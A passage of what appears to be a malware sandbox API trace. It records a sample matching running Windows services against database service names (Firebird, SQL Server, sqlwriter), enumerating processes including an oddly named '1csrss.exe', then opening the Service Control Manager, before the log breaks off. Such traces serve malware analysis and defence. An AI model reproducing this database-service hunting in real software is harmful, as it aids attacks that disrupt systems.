(lpString1="sqlwriter", lpString2="LSM") returned 1 [0298.290] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0298.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0298.291] lstrlenW (lpString="MapsBroker") returned 10 [0298.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0298.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0298.291] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0298.291] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0298.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0298.291] lstrlenW (lpString="MpsSvc") returned 6 [0298.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0298.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0298.291] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0298.291] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0298.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0298.291] lstrlenW (lpString="NcbService") returned 10 [0298.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0298.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0298.291] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0298.291] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0298.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0298.291] lstrlenW (lpString="netprofm") returned 8 [0298.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0298.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0298.291] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0298.291] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0298.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0298.291] lstrlenW (lpString="NgcSvc") returned 6 [0298.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0298.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0298.291] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0298.291] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0298.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0298.291] lstrlenW (lpString="NlaSvc") returned 6 [0298.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0298.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0298.292] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0298.292] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0298.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0298.292] lstrlenW (lpString="nsi") returned 3 [0298.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0298.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0298.292] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0298.292] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0298.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0298.292] lstrlenW (lpString="PcaSvc") returned 6 [0298.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0298.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0298.292] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0298.292] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0298.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0298.292] lstrlenW (lpString="PlugPlay") returned 8 [0298.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0298.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0298.292] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0298.292] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0298.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0298.292] lstrlenW (lpString="Power") returned 5 [0298.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0298.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0298.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0298.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0298.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0298.292] lstrlenW (lpString="ProfSvc") returned 7 [0298.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0298.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0298.292] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0298.292] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0298.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0298.293] lstrlenW (lpString="RpcEptMapper") returned 12 [0298.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0298.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0298.293] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0298.293] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0298.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0298.293] lstrlenW (lpString="RpcSs") returned 5 [0298.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0298.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0298.293] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0298.293] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0298.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0298.293] lstrlenW (lpString="SamSs") returned 5 [0298.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0298.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0298.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0298.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0298.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0298.293] lstrlenW (lpString="Schedule") returned 8 [0298.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0298.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0298.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0298.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0298.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0298.293] lstrlenW (lpString="SecurityHealthService") returned 21 [0298.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0298.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0298.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0298.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0298.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0298.293] lstrlenW (lpString="SENS") returned 4 [0298.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0298.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0298.294] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0298.294] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0298.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0298.294] lstrlenW (lpString="ShellHWDetection") returned 16 [0298.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0298.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0298.294] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0298.294] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0298.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0298.294] lstrlenW (lpString="Spooler") returned 7 [0298.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0298.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0298.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0298.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0298.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0298.294] lstrlenW (lpString="SSDPSRV") returned 7 [0298.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0298.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0298.294] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0298.294] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0298.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0298.294] lstrlenW (lpString="StateRepository") returned 15 [0298.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0298.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0298.294] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0298.294] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0298.294] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4572730 | out: hHeap=0x6e0000) returned 1 [0298.294] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x550 [0298.298] Process32FirstW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.298] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0298.299] lstrlenW (lpString="System") returned 6 [0298.299] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0298.300] lstrlenW (lpString="smss.exe") returned 8 [0298.300] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0298.301] lstrlenW (lpString="csrss.exe") returned 9 [0298.301] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0298.302] lstrlenW (lpString="wininit.exe") returned 11 [0298.302] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0298.302] lstrlenW (lpString="csrss.exe") returned 9 [0298.302] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0298.303] lstrlenW (lpString="winlogon.exe") returned 12 [0298.303] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0298.304] lstrlenW (lpString="services.exe") returned 12 [0298.304] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0298.304] lstrlenW (lpString="lsass.exe") returned 9 [0298.307] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0298.308] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0298.308] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0298.309] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0298.309] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.309] lstrlenW (lpString="svchost.exe") returned 11 [0298.309] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.310] lstrlenW (lpString="svchost.exe") returned 11 [0298.310] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0298.311] lstrlenW (lpString="dwm.exe") returned 7 [0298.311] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.313] lstrlenW (lpString="svchost.exe") returned 11 [0298.313] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.314] lstrlenW (lpString="svchost.exe") returned 11 [0298.314] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.316] lstrlenW (lpString="svchost.exe") returned 11 [0298.316] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.317] lstrlenW (lpString="svchost.exe") returned 11 [0298.317] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.318] lstrlenW (lpString="svchost.exe") returned 11 [0298.318] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.318] lstrlenW (lpString="svchost.exe") returned 11 [0298.318] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.319] lstrlenW (lpString="svchost.exe") returned 11 [0298.319] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.320] lstrlenW (lpString="svchost.exe") returned 11 [0298.320] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.321] lstrlenW (lpString="svchost.exe") returned 11 [0298.321] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.321] lstrlenW (lpString="svchost.exe") returned 11 [0298.321] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0298.322] lstrlenW (lpString="spoolsv.exe") returned 11 [0298.322] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0298.323] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0298.323] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0298.323] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0298.323] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0298.324] lstrlenW (lpString="Memory Compression") returned 18 [0298.324] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.325] lstrlenW (lpString="svchost.exe") returned 11 [0298.325] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0298.325] lstrlenW (lpString="audiodg.exe") returned 11 [0298.326] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0298.326] lstrlenW (lpString="sihost.exe") returned 10 [0298.326] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.327] lstrlenW (lpString="svchost.exe") returned 11 [0298.327] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0298.328] lstrlenW (lpString="taskhostw.exe") returned 13 [0298.328] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0298.328] lstrlenW (lpString="explorer.exe") returned 12 [0298.328] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0298.330] lstrlenW (lpString="SearchUI.exe") returned 12 [0298.330] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0298.331] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0298.331] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0298.332] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0298.332] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0298.332] lstrlenW (lpString="1csrss.exe") returned 10 [0298.332] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.353] lstrlenW (lpString="svchost.exe") returned 11 [0298.353] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0298.353] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0298.354] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.354] lstrlenW (lpString="svchost.exe") returned 11 [0298.354] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0298.355] lstrlenW (lpString="consent.exe") returned 11 [0298.355] Process32NextW (in: hSnapshot=0x550, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0298.356] CloseHandle (hObject=0x550) returned 1 [0298.356] Sleep (dwMilliseconds=0x1f4) [0298.863] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0298.864] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, 